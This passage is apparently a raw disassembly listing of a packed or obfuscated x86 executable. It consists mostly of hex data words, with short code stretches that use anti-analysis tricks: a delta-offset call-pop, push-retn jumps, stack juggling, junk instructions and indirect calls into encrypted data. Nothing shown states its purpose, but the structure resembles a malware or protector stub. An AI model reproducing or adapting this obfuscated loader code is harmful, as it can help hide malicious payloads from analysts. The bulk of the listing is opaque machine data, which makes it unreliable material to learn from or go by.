0E6B85024h, 2D49A04Dh, 41AFCB89h, 48BC789h dd 4C48124h, 68000000h, 66A1h, 83242489h, 5D042404h, 7E6D68h dd 243C8900h, 8B08458Fh, 8951242Ch, 4C181E1h, 83000000h dd 0C8704C1h, 34FF5C24h, 0C4815F24h, 4, 0F8F429E9h, 8BFE0FFh dd 7A84256Ch, 0B804378Fh, 7F08733h, 0E0FFC503h, 1F6DBE75h dd 1AF67D05h, 7E480F27h, 69A5EEA0h, 19A03821h, 495F20Eh dd 3A910FACh, 23E7A71Ah, 4F9BBBFCh, 1D68AA07h, 0BB212FCh dd 728E4FE2h, 542BF06Fh, 1519FDDBh, 6C815FFh, 584E63B5h dd 1BAFE5DDh, 32FD6ADAh, 6D2AEE69h, 5A7460B4h, 6FB06DB8h dd 6F8AECFh, 3A88DC9Ah, 0F406BACh, 79C03B86h, 371E0902h dd 70E847B8h, 1FFDFC9Dh, 9EB646h, 590E014Ah, 7E0B3BECh dd 0BD83C08Bh, 7E918A5h, 83097500h, 0E91A45BDh, 19740007h dd 0C08B5350h, 421B8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h, 421B8h, 0F9858900h dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 8BC08B58h, 0E9120D9Dh dd 5985C607h, 5607E926h, 0A8B85268h, 11B5FF9Ch, 8D07E90Bh dd 0EC9FDB85h, 6AD0FF07h, 10006804h, 0B5FF0000h, 7E92F59h dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 158D8D00h, 0FF07E96Eh dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h dd 7E92089h, 0E840F00h, 8B000000h, 0E920899Dh, 0D858B07h dd 8907E902h, 8D525103h, 0E9772D85h, 8BD0FF07h, 8BF18BFAh dd 0F3C88BD1h, 5985C6A4h, 5607E926h, 1F6D3968h, 11B5FFD4h dd 8D07E90Bh, 0EC9FDB85h, 68D0FF07h, 8000h, 0FF52006Ah dd 83C08BD0h, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h dd 8B535019h, 421B8C0h, 85890000h, 7E920F5h, 0D8359D8Dh dd 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h, 421B853h dd 85890000h, 7E920F5h, 0D4D69D8Dh, 0D3FF07EBh, 0C08B585Bh dd 20899D8Dh, 38B07E9h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h dd 4B41h, 14E8h, 0D3472A00h, 0D70EDAF0h, 0AE46B9BFh, 0C3169385h dd 2A7983EFh, 1A02BAA1h, 515F229Dh, 815EF78Ah, 701AC7h dd 38D0F00h, 0F000000h, 0B9C0B7h, 81000000h, 374E24E0h dd 0F1C8B6Dh, 81D18B66h, 931B14C3h, 35EB810Dh, 66179BC0h dd 0C381C38Bh, 33C9AA12h, 6FCDF081h, 66533B1Ah, 0B59BEA81h dd 0F0F048Fh, 14E9F1BFh, 0F3000000h, 38A10075h, 4645F240h dd 5E263AA2h, 0E598B664h, 81B4D0B2h, 0CF9A9EE9h, 81D68B04h dd 0CF9A9AC1h, 0E8F56004h, 6, 0F2FBE9F9h, 0CF8AA3BEh, 0F981615Ah dd 0FFFF90D4h, 15850Fh, 0E9FC0000h, 43h, 0F64F42D6h, 0D77F8448h dd 0B40E39B6h, 60F3CFE7h, 67EE8166h dd 0C6806060h, 0FE8D2h, 72820000h, 0C1C58550h, 977B4A7Fh dd 9874E1FDh, 61615F43h, 0FFFF54E9h, 749DC6FFh, 743A88D4h dd 93DF5D5Bh, 0E8944FD0h, 5, 0E3CFD71Eh, 0D5BB6683h, 81665A09h dd 81EDF8E8h, 0E987C2h, 75BF6600h, 0BE07h, 13E90000h, 18000000h dd 0D87E9E9Bh, 0F0A57E35h, 0D7EB1E9Ch, 46DB3812h, 34FFE068h dd 0CBB86616h, 0BE8590Ah, 8C000000h, 0A408678Eh, 8DF01C83h dd 8B0FE8A8h, 6, 860Fh, 815F0000h, 954560C1h, 2890F1Eh dd 8B000000h, 1DC181C2h, 0F571D44h, 58Fh, 0EF816600h, 0F181A1E1h dd 26805D2Dh, 0A311BB66h, 44E88151h, 8F159EC8h, 0D7813204h dd 77A65ACEh, 74B96660h, 8161F95Bh, 2B933BEEh, 0B0EC8054h dd 9337C681h, 0BE9542Bh, 4000000h, 0A2F76793h, 59E36D41h dd 0FE81D305h, 0FFFF1750h, 0FF70850Fh, 0DE8FFFFh, 0CC000000h dd 0C89E1DC3h, 0EF76AACFh, 738FF6DCh, 555FE78Ah, 5E75FDEDh dd 0A476F67Ah, 0BC56E669h, 638FD49h, 299EFD25h, 3EDFFD25h dd 0B23DFD25h, 772FFD25h, 9505FD25h, 0E4E2FD25h, 5CC3FD25h dd 0BEFD25h, 29E5FD25h, 3EB2FD25h, 0B417FD25h, 7070FD25h dd 9251FD25h, 0E332FD25h, 5AFEFD25h, 642FD25h, 259DFD25h dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh dd 0BC75FC7Bh, 5E75FD7Ah, 5176FD7Ah, 4A75A23Dh, 0CB75A232h dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 23F0701Ah dd 0A6720DF5h, 67FE49FFh, 58F0707Dh, 6C720DF5h, 2FE89FFh dd 0A8F0707Dh, 35720DF5h, 0AEFE4DFFh, 1EF0707Dh, 1E720DF5h dd 3BFE85FFh, 15F0707Dh, 7B720DF4h, 89FE81FFh, 32F0707Dh dd 0D7720DF7h, 0DFFE7DFFh, 37F0707Dh, 42720DF7h, 15FE79FFh dd 44F0707Dh, 0F0720DF7h, 4CFE75FFh, 4FF0707Dh, 0A6720DF4h dd 67FE69FFh, 16F0707Dh, 6C720DF7h, 2FE71FFh, 85F0707Dh dd 35720DF7h, 0AEFE6DFFh, 3EF0707Dh, 1E720DF4h, 3BFE69FFh dd 0AEF0707Dh, 7B720DF4h, 89FE59FFh, 0D6F0707Dh, 0D7720DF4h dd 0DFFE55FFh, 1AF0707Dh, 42720DF4h, 15FE51FFh, 24F0707Dh dd 0F0720DF4h, 4CFE65FFh, 53F0707Dh, 0A6720DF5h, 67FE61FFh dd 63F0707Dh, 6C720DF5h, 2FE5DFFh, 34F0767Dh, 3572145Bh dd 0AEFE10FFh, 3AF0767Dh, 1E721465h, 3BFE0CFFh, 0B0B69C7Dh dd 0F29D11F1h, 2375FD7Ah, 317417FBh, 0D525FA8Ah, 0ADFDF53Fh dd 90857696h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah dd 9E987C27h, 0A0720DF7h, 0DFFE8EFFh, 0E4C87D7Dh, 0CF720DF1h dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 4CFE0CEFh, 96FEBD7Dh dd 2F7A452Bh, 28AFD7Ah, 0CC85768Bh, 6E0148F7h, 0C6F8FA8Ah dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 9085768Bh dd 400148F7h, 0D1F8FA8Ah, 228A50FCh, 87BC1F23h, 4CFE8EF7h dd 52DA07Dh, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h dd 0F5857697h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h dd 67FE10EFh, 8DE9B7Dh, 0E5779592h, 0F3360B7Ah, 866E8872h dd 4CFE10EFh, 54C54D7Dh, 0BA8AAD79h, 90857697h, 2BF69B20h dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh dd 79986885h, 1F2FFA8Ah, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 89FE0CEFh, 4C0707Dh dd 5D720DF1h, 2C7F518Ah, 7AE002D0h, 8720DF1h, 0E574E592h dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h dd 252D4D7Ah, 69B65779h, 3BFE97FFh, 8FC87D7Dh, 0F3720DF1h dd 0FCF8EC0Fh, 0BB8576A6h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 4CFE97F7h dd 34C87D7Dh, 2F720DF1h, 12F8F10Fh, 0CC8576A6h, 0E4DE152Ah dd 4AB6FD7Ah, 7975FD7Eh, 37846885h, 0C3F8FA8Ah, 28856D43h dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h dd 357115F9h, 0CB8A3E78h, 28857697h, 96514ACEh, 74C1FF0Eh dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h dd 25B5F179h, 68B65778h, 3BFE10EFh, 0EA917D7Dh, 42F539FAh dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h dd 0CB7345B9h, 708AFD7Ah, 0F585768Bh, 0F2A560F7h, 0A0F8FA8Ah dd 4ECD3E39h, 0D075FD7Ah, 67FE0CEFh, 0CEB57E7Dh, 1A8935F1h dd 2FE10EFh, 8E97577Dh, 43BE15B9h, 1DFF0285h, 5A72D97Bh dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h dd 0BC9D9D86h, 475FD7Ah, 0BF3C17FBh, 0EAFCFA8Ah, 27CF7D86h dd 0E5720DF1h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 0AEFE0CE8h dd 0ADFCBD7Dh, 9085768Fh, 79F835F1h, 0E2856C67h, 79986F85h dd 7FFDFA8Ah, 4801F3Ch, 5E75FD6Dh, 0A4807F79h, 1A35FA8Ah dd 3BE4ECE0h, 0E1B67E7Dh, 4B22FEF3h, 7975FD64h, 37807779h dd 0ECF8FA8Ah, 28856D85h, 2F2B5989h, 0CB75FD72h, 6E846F85h dd 0AF6FA8Ah, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah dd 3BE4CD90h, 1CCF707Dh, 79720DF1h, 71CCF50Fh, 4F75FD7Ah dd 9CBC9CDEh, 0A226FD7Eh, 67FE04E7h, 0D3497D7Dh, 0BE71887Bh dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0BE1C17FBh dd 25F8FA8Ah, 0CC857683h, 5C7D80F1h, 0F275FD72h, 0B0145989h dd 0DC75F9B8h, 0D58C40F7h, 0EF46FA8Ah, 9775F5C3h, 0AADF0E7Ah dd 58F89DB9h, 0F5857683h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 6E8C40F7h, 0F3CDFA8Ah dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 1B7378F7h dd 0D08AFA8Ah, 0CAFECA8Bh, 0A80E72F8h, 8A4AFB7Fh, 0A80E73C7h dd 75EAD5ABh, 0A80E739Fh, 8A4AF865h, 57AE5DBAh, 8A4AF8D2h dd 0A80E708Fh, 75EAD5ABh, 0A80E7156h, 8A4AF900h, 0A80E71D0h dd 8A4AF982h, 0A80E764Ah, 75EAD5ABh, 0ABD42F25h, 312DAC7h dd 58C078C0h, 0FB90A753h, 215652D6h, 7A84F4D1h, 60D42F42h dd 312DAC7h, 58C040C0h, 0AA90A753h, 215652D1h, 7A84C0D1h dd 0DFD42F42h, 312DAC0h, 58C04CC0h dd 4690A753h, 215652D1h, 7A84DCD1h, 0B8D42F42h, 312DAC1h dd 58C058C0h, 0D390A753h, 215652D0h, 7A8728D1h, 32D42F42h dd 312DAC1h, 58C3A4C0h, 5190A753h, 215652D0h, 7A8720D1h dd 0B4D42F42h, 312DAC2h, 58C3ACC0h, 0DF90A753h, 215652D3h dd 7A8738D1h, 12B8C342h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 18A8C0D5h, 0ED96A5B5h, 8A152AA8h, 0A0242945h dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh dd 3AAE63CEh, 8DFC3541h, 0AB534284h, 0FFEA2211h, 0A4245D55h dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h dd 27BFEA66h, 0BFDB2FEEh, 7512DAD9h, 2011294h, 702A0D9h dd 79AEA5B5h, 0AE51A1ECh, 22DC0941h, 8DE5A743h, 103773BAh dd 21732ADFh, 254628C8h, 5BEA2DA4h, 8C152BFDh, 988150h dd 0AFA12F52h, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 1968C0D5h dd 0DDDAA5B5h, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 891C30BAh dd 529E2DBDh, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 702A0D9h dd 79AEA5B5h, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8A15C234h dd 290BA245h, 7A86FEBEh, 0A0242942h, 4D1957DFh, 0A8515E00h dd 75532A54h, 4170EFD7h, 19CDA153h, 9BFC69CEh, 0E2A5B997h dd 0F9FA31EFh, 702A0D9h, 79AEA5B5h, 20949A0Dh, 8C651A23h dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h, 2851A245h dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h dd 22DC0886h, 8DE5A743h, 0F8E173BAh, 9D9FA7FEh, 575652C8h dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h dd 75152A54h, 414EB7D7h, 20452653h, 254628C8h, 5BEA2DA4h dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h dd 0A42C294Dh, 8AE96F93h, 451A245h, 0C787D5FEh, 23564B64h dd 4917868Ch, 0BFDB2FEFh, 7512DAD9h, 28E9C494h, 0BE4CBDh dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h dd 0AFB88308h, 58B9E2DFh, 32DC0885h, 8DE5A743h, 103771BAh dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h dd 75BF8654h, 4170EFD7h, 26DDA153h, 25FB6377h, 7A983DCEh dd 0CE825D42h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh dd 0A8515E00h, 32732A54h, 3376B77h, 702B0D9h, 7BAEA5B5h dd 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h dd 0EC152A54h, 0CEB824FDh, 9D8FA7FFh, 575652C8h, 20A09A87h dd 25FB0E03h, 7A983DCEh, 0CE825D42h, 0ECD8ACECh, 0A42C89EEh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 1CB0C0D5h, 0ED96A5B5h, 8A152AA8h, 0A0242945h dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h dd 2559D7BAh, 7A84F0CEh, 32DCF142h, 8DE5B8E5h, 0EDD871BAh dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 39BB38C8h, 7462DA4h dd 58C313DFh, 3C6D553h, 92B85E00h, 75152A54h, 0DDAEAE30h dd 7C8FA75Ch, 0FB5652D4h, 18A4B0D9h, 7BAEA5B5h, 63E96FDDh dd 0A851A258h, 75195FABh, 32DCAA30h, 8DE5B856h, 19CB2F16h dd 7512DAC6h, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h dd 3044BA45h, 0FE90000h, 1A000000h, 2F0D5Dh, 2 dup(0) dd 49E90000h, 0C3000005h, 0BA54828h, 0BC1895E7h, 0E34DE09Ah dd 10BC31B3h, 66F67FFDh, 383CD1C1h, 8A0A1BB5h, 0D6A649EBh dd 1D5FFD5Fh, 0FEB3EF90h, 286C2DBEh, 4A462456h, 0AA44D6A0h dd 5CC4B7F7h, 0EF4B5930h, 8DF207B3h, 8979E82h, 0F9740AF9h dd 63C3BD5Fh, 6BBBC557h, 6DB1CB6Fh, 0FB2DCC60h, 228E2751h dd 56C2730Dh, 902DBFC1h, 0F371AD9Ch, 0B954E179h, 0DD4BCE2Ah dd 83CF63CFh, 0DD321292h, 41D612BBh, 0E21AD3Fh, 9D3F826Eh dd 4021FD7Fh, 305C2065h, 0E829D024h, 84318518h, 0A556h dd 0A04A6C00h, 0A435B0E0h, 58F771E4h, 2FB94FDDh, 15E00096h dd 69C175B3h, 14A4C35h, 0BF2F305Ch, 544D0517h, 0E0760CD0h dd 0ADAB811Ch, 68BCAAAEh, 4BF21EDAh, 3166368Eh, 1B084h dd 4A120000h, 4C08D4A6h, 4672D2A8h, 0D9D9C84Eh, 0C2305CC4h dd 7B021C0Dh, 0BB177F31h, 8F15E96Bh, 3E9B6BF9h, 0DB83731Ah dd 9EDE7337h, 42AE3C46h, 21BCC256h, 0D714B701h, 0F2B2E751h dd 0DB305C3Ah, 939F918Eh, 93117D50h, 895527CBh, 6CC865FBh dd 801AACCEh, 934786F5h, 0E83AE91h, 305C8E8Eh, 79FB2A86h dd 0A1891FA5h, 0A74AE65Ch, 19AA43D5h, 34742DF7h, 0DC305BE2h dd 1E5F37C6h, 790315B1h, 0C9637DB1h, 5C04D8D8h, 23A1F030h dd 0D7CDC1C3h, 0E19BBF1Bh, 0A7464E1Dh, 1ACC86Dh, 2BFB8597h dd 5F1D319Dh, 8135FD87h, 99310D6Fh, 0BA22D475h, 8F1AEA94h dd 8B783475h, 2D059B96h, 312A169Eh, 775084h, 4A720000h dd 2D4FE3A7h, 0E50B479Fh, 4C45019Bh, 92E80CC8h, 0A4F830B2h dd 57E07D29h, 0EA9F5837h, 0A647AB87h, 779BCF62h, 15AB3905h dd 8643EA83h, 0CA79C850h, 1C31636Eh, 0D8C88458h, 7B36C05Ah dd 305CB43Bh, 0CF63CFD5h, 0AA4D099Fh, 991B0AD2h, 8FF33F45h dd 0EAC32DEEh, 31238430h, 0A3000000h, 0F6A0E10Ah, 30F8E92Ah dd 0D5A74A92h, 0D2AA4D09h, 0DC7D9772h, 0FE770528h, 0D4A64A44h dd 0C53E9908h, 0FB1D305Ch, 0E03F8152h, 1BF8430h, 0B000000h dd 0ADAA44Ah, 72D2AC4Eh, 0A452FB1Dh, 8B671538h, 0FE77092Fh dd 39D2D560h, 729E4A67h, 220E9CDEh, 0E17BEC0Fh, 895A5A57h dd 0E8BA305Ch, 30EBA600h, 637B571h, 9E46409Ch, 4B5A027Ch dd 836F75C9h, 0FA7B0517h, 28C2BC5Eh, 71A3E39Eh, 376D2873h dd 0BCFEA7FBh, 49287371h, 0C862A647h, 879507AEh, 8FAD29F5h dd 3A5A11EDh, 0BEBB5193h, 3AD67F41h, 20BA48D2h, 0CDD4B895h dd 5098159Ah, 0AC0CF44Dh, 4C6A8C1Ah, 78000001h, 0A537A0B3h dd 0B599ADECh, 0AD3F6537h, 49580E21h, 0DB697BCBh, 51FB7E0Bh dd 0BA34E8D8h, 0DB7E9124h, 5FDDBD93h, 0D9735F93h, 90BA169Fh dd 0F6801EE6h, 72C5FBBBh, 0FD8F1528h, 72C60484h, 5A960C28h dd 42A2DC7Eh, 22E68789h, 0CB495808h, 41DB697Bh, 230F8D85h dd 0DF9B65DEh, 4ADB8C1Ah, 0EF000000h, 9B2DBAB3h, 0C84C4501h dd 5B5EFE3Dh, 0FB372765h, 5BC8AA0Ah, 0E4386AB0h, 5BC97D3Dh dd 0C5475FB0h, 0BDBF5D79h, 19C05461h, 0EB92B2D9h, 978E4FC0h dd 0C9206011h, 0B2F0B05Bh, 85FC8E1Ch, 305BC925h, 8738B5EFh dd 0A3h, 37A0B3DFh, 16960BA5h, 0FE305CC5h, 0C05A4CA4h dd 0E7880D04h, 0C1DFE89Ch, 0E89951E7h, 37B57BEDh, 4B07DFC5h dd 0C05ED7A1h, 0B488F204h, 44D6C22Eh, 6790150Ch, 758EA882h dd 0A0220290h, 454C3015h, 0DD73DAE1h, 0C6DF8701h, 0CE4FE46h dd 73BF607Dh, 18C1CB28h, 812C4EECh, 0DCD343EEh, 0C7C7BA03h dd 492872EAh, 3A37C25Bh, 661BAD43h, 306358D7h, 1AB3455Fh dd 5715B500h, 518D652Ah, 59A5D765h, 7F872626h, 57C042E6h dd 0F6422A50h, 1DAF383Bh, 7268D564h, 0AE475D28h, 0ABEBA630h dd 65189169h, 0B3D1F33Fh, 0ECA537A0h, 384D2C5Dh, 0EB95A72Fh dd 0BDA1891Bh, 99B31FE7h, 0CFB04DDFh, 99DB71B3h, 5DAE3F45h dd 8815DDA8h, 0DAA4B61Eh, 0B3EE780Ah, 286C92F3h, 0FAB871Dh dd 0D2B393EDh, 516DD32Bh, 25EF8EA2h, 6CC86517h, 6450ACCEh dd 2156AE2Ch, 0ED787E1Fh, 0C568795Ch, 0C0556FB7h, 62CE4444h dd 5BDAA4B6h, 0DD2153F9h, 86F61BC3h, 0F3CC24BEh, 0Fh, 0AD25413h dd 3AB99DE4h, 0DA21385Ch, 4ADEEC44h, 430FD7A1h, 5B77CFA9h dd 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h, 636FB735h dd 6753B3CDh, 5E55A9D3h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h dd 6A0D68h, 243C8900h, 0C2568h, 24048900h, 36E9BE56h, 0BF577828h dd 3A134807h, 4855EF81h, 0E7C174C0h, 20EF8103h, 1DEFBB6h dd 0EE815FFEh, 351132F7h, 4B80C681h, 0D6F74864h, 0D194EE81h dd 0F78920F7h, 4EC815Eh, 89000000h, 4812424h, 424h, 81575800h dd 67E6242Ch, 408F4024h, 8408108h, 402467E6h, 582434FFh dd 4C481h, 3C8B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- db 9Bh, 30h, 39h dd 61247730h, 76777293h, 0F09C2AB8h, 0FFC50307h, 0A96685E0h dd 9D5BF32Ch, 0D0C9FB72h, 6AC68C15h, 11A0FD00h, 8C88984Eh dd 87535250h, 24648B35h, 376B9132h, 5AF7BB09h, 4AF77D76h dd 13FB6B12h, 17049E12h, 831D4E34h, 0F6492A58h, 5473025h dd 0DB579E79h, 0B9366527h, 50FFB720h, 0C6D52B4Dh, 19B96352h dd 10B8962h, 0E164504Ch, 548D8D6Ah, 6A07F09Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 4FD7C352h, 0A56DDB35h, 604DB0EDh, 2451BD89h, 0CE8B07E9h dd 0D8D8961h, 6A07E932h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0F0D0C350h, 8A406011h dd 7D8D897Dh, 0C707E90Eh, 0E922E585h, 64D807h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 2ADD052Bh, 0FD8AAFEDh, 22B185C7h, 7E9h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0F60973C3h, 77442952h, 29BCD408h, 0E92B7185h, 51B5FF07h dd 6A07E931h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0D9FDC352h, 0FE8h, 0B746C000h dd 2B902052h, 954E63BAh, 1949E529h, 28D0Fh, 7EB30000h dd 5E9605Eh, 0B0000000h, 14B7C8D6h, 8595FF61h, 6A07E922h dd 3195FF00h, 8B07E90Ch, 0D448EBC0h, 0B56EAFE7h, 0C5458B06h dd 0E4D8D781h, 1E78EE2Ah, 0BBC734EFh, 669E139Bh, 0C6AEC941h dd 93BCBFB4h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h, 3929B19Dh dd 5DF3674Fh, 470679A7h, 744FB07Fh, 8CA8019Eh, 4C069C78h dd 0EB3A71F7h, 16h, 4 dup(0) dd 94010100h, 0F0000000h, 0DE8B6607h, 12E890h, 0CB580000h dd 78AEE30Ch, 162E065Eh, 8DAF1CB0h, 0F0E81D7Dh, 310F5250h dd 13E9h, 0C7CE2400h, 0A3F34D25h, 184C216Eh, 652179h, 77106531h dd 505A585Ah, 6E9h, 8A597E00h, 90B616ACh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 41C35545h, 1EA4B554h dd 8B4C1263h, 0E92FC9BDh, 8A006A07h, 9CBB66EAh, 0E9006A08h dd 0Fh, 0B04A92E0h, 0C1C350A0h, 0E674D74Dh, 0FF641BDh dd 0B86h, 5800F00h, 0BB000000h, 32F29238h, 9FFD858Dh, 0BB6607F0h dd 85898CB6h, 7E90849h, 50DCB290h, 12E9h, 0AB23D400h, 0E89F1B7Dh dd 85651462h, 0C70E4A98h, 908F07E5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 49C35343h, 759D8B45h, 0E907E907h dd 0Eh, 187F1FDFh, 0A6513732h, 0E1D25029h, 6A20C3h, 0F1816660h dd 0CE9C357h, 52000000h, 14C88D90h, 0A2C39B4Bh, 61D1E415h dd 0B966006Ah, 95FFA7AEh, 7E90FB9h, 0A65ED181h, 0A8E9419Fh dd 29000005h, 0E92A5D85h, 0C59D2B07h, 0E807E91Fh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7F0A002h push 0 push ebx call sub_5FDDCE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FDDCE proc near ; CODE XREF: sdfs____:005FDDC6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5FDDCE endp ; --------------------------------------------------------------------------- jz short loc_5FDE3E push 0FFFFFFC7h shr dword ptr [ecx-7Fh], 93h clc mov edx, [ebp+7E91689h] pusha push ebx jge $+6 pop ecx mov [ebp+7E91F21h], eax popa push 8AD8DF94h mov edx, edi add dword ptr [esp], 7527300Ch mov [ebp+7E92671h], eax sub [ebp+7E91209h], ecx call dword ptr [ebp+7E90C31h] push 0 push edi call sub_5FDE28 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= 